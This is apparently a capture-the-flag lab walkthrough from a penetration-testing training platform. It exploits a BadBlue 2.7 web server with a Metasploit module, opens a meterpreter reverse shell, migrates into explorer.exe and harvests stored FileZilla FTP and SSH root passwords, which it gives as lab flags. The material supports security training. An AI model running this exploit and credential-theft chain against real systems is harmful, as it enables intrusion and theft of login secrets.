
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: FTP Credentials Stealing
URL	https://attackdefense.com/challengedetails?cid=2375
Type	Post Exploitation: With Metasploit

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.19.229
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.19.229

```
root@attackdefense:~# nmap 10.0.19.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 18:00 IST
Nmap scan report for 10.0.19.229
Host is up (0.072s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.19.229

```
root@attackdefense:~# nmap -sV -p 80 10.0.19.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-10 18:01 IST
Nmap scan report for 10.0.19.229
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    BadBlue httpd 2.7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds
root@attackdefense:~#
```

The badblue 2.7 application is running on the target machine.

Step 4: We will search the exploit module for badblue 2.7 using searchsploit.

Command: searchsploit badblue

```
root@attackdefense:~# searchsploit badblue
------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------
BadBlue 2.5 - 'ext.dll' Remote Buffer Overflow (Metasploit)
BadBlue 2.5 - Easy File Sharing Remote Buffer Overflow
BadBlue 2.52 Web Server - Multiple Connections Denial of Service
BadBlue 2.55 - Web Server Remote Buffer Overflow
BadBlue 2.72 - PassThru Remote Buffer Overflow
BadBlue 2.72b - Multiple Vulnerabilities
BadBlue 2.72b - PassThru Buffer Overflow (Metasploit)
Working Resources 1.7.3 BadBlue - Null Byte File Disclosure
```

Step 5: There is a Metasploit module for badblue server. We will use the Metasploit module to exploit the target.

Commands:
msfconsole -q
use exploit/windows/http/badblue_passthru
set RHOSTS 10.0.19.229
exploit

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/badblue_passthru
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS 10.0.19.229
RHOSTS => 10.0.19.229
msf6 exploit(windows/http/badblue_passthru) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Trying target BadBlue EE 2.7 Universal...
[*] Sending stage (175174 bytes) to 10.0.19.229
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.19.229:49845) at

meterpreter >
```

We have successfully exploited a badblue server.

Step 6: Migrate current process into explorer.exe

Command: migrate -N explorer.exe

```
meterpreter > migrate -N explorer.exe
[*] Migrating from 4772 to 4144...
[*] Migration completed successfully.
meterpreter >
```

Step 7: Search post exploit module for Filezilla

Command: background
search filezilla

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/http/badblue_passthru) > search filezilla

Matching Modules
================

   #  Name                                                Disclosure Date  Rank    Check
   -  ----                                                ---------------  ----    -----
   0  auxiliary/dos/windows/ftp/filezilla_admin_user      2005-11-07       normal  No
nial of Service
   1  auxiliary/dos/windows/ftp/filezilla_server_port     2006-12-11       normal  No
ial of Service
   2  post/multi/gather/filezilla_client_cred                              normal  No
ntial Collection
   3  post/windows/gather/credentials/filezilla_server                     normal  No
dential Collection


Interact with a module by name or index. For example info 3, use 3 or use post/windows/g

msf6 exploit(windows/http/badblue_passthru) >
```

Step 8: We can observe that there is a post-module available for Filezilla client credentials. Run that to discover all credentials.

Commands: background
use post/multi/gather/filezilla_client_cred
set SESSION 1
exploit

```
msf6 exploit(windows/http/badblue_passthru) > use post/multi/gather/filezilla_client_cred
msf6 post(multi/gather/filezilla_client_cred) > set SESSION 1
SESSION => 1
msf6 post(multi/gather/filezilla_client_cred) > exploit

[*] Checking for Filezilla directory in: C:\Users\student\AppData\Roaming
[*] Checking for Filezilla directory in: C:\Users\Administrator\AppData\Roaming
[*] Found C:\Users\Administrator\AppData\Roaming\FileZilla
[*] Reading sitemanager.xml and recentservers.xml files from C:\Users\Administrator\AppData\Roaming\FileZilla
[*] No saved connections where found
[*] Parsing recentservers.xml
[*]     Collected the following credentials:
[*]     Server: random-host.com:21
[*]     Protocol: FTP
[*]     Username: root
[*]     Password: Ywhwsh6VNV3GGpLM

[*]     Collected the following credentials:
[*]     Server: secure-server.com:22
[*]     Protocol: SSH
[*]     Username: root
[*]     Password: Password_123!@!@!@!@!@

[*] Post module execution completed
msf6 post(multi/gather/filezilla_client_cred) >
```

We can notice, that we have discovered two servers login i.e:

Server 1 FTP Connection:

```
Server: random-host.com:21
Protocol: FTP
Username: root
Password: Ywhwsh6VNV3GGpLM
```

Server 2 SSH Connection:

```
Server: secure-server.com:22
Protocol: SSH
Username: root
Password: Password_123!@!@!@!@!@
```

Flags:

FTP Server Password: Ywhwsh6VNV3GGpLM
SSH Server Password: Password_123!@!@!@!@!@

References

1. BadBlue 2.72b - Multiple Vulnerabilities (https://www.exploit-db.com/exploits/4715)
2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/badblue_passthru)
3. FileZilla Client (https://filezilla-project.org/download.php?platform=win64)
4. Multi Gather FileZilla FTP Client Credential Collection (https://www.rapid7.com/db/modules/post/multi/gather/filezilla_client_cred)